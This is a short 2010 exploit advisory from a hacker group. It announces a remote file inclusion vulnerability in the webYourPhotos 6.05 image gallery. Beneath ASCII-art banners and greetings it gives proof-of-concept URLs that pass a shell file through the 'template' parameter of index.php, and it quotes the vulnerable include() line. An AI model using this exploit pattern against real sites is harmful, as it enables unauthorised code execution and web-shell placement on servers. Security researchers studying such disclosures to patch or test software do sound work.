webYourPhotos versions 6.05 and below suffer from a remote file inclusion vulnerability.
4f9b7b866bc3408d6fb4524ad7102bf6212ab20527a69c3a4e581a2cb5e62749
__ __ /'__`\ /\ \__ /'__`\
/\_\ ___ /\_\/\_\L\ \ ___\ \ ,_\/\ \/\ \ _ __ ___ ___ ___ ___
\/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ /'___\ / __`\ /' __` __`\
\ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ __/\ \__//\ \L\ \/\ \/\ \/\ \
\ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ /\_\ \____\ \____/\ \_\ \_\ \_\
\/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ \/_/\/____/\/___/ \/_/\/_/\/_/
\ \____/
\/___/
# ----------------------oOO---(_)---OOo-----------------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# | Security Sn!pEr.S!Te /____/ 2o1o |
# ------------------------------------------------------------
Remote File Inclusion Vulnerability
# -----------------------------------------------------------
----------------------------------------------------------------
webYourPhotos <==6.05 ( index.php )
----------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker #
# [+] Email : sniper-site@HoTMaiL.coM #
# [+] T34M Sn!pEr.S!Te Hacker #
# [+] 20-5-2010 #
# [+] Script : Image Galleries » webYourPhotos
# [+] Download:http://superphotos.info/webYourPhotos_mysql.zip
# Version: [6.05] #
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : webYourPhotos_mysql\index.php
http://localhost\webYourPhotos_mysql\index.php?template=[shell.txt ]
htpp://127.0.0.1\webYourPhotos_mysql\index.php?template=[shell.txt ]
include("templates/template_index_".$template.".php");
line : 311
web site Favorites my : http://inj3ct0r.com/ & http://www.hack0wn.com/ & http://www.exploit-db.com
================================ Greetz : all my friend ========================================
* liar * sm Hacker * baby hacker * Dr.PaL x HaCkEr * saleh Hacker * ALhal alsab |
* ThE DarK * abo badr * aStoorh alqssim * Ramad Hacker * h-ex |
* yousfe * HitLer.3rb * QAHER ALRAFDE * DjHacker * My Heart * Mr.koka |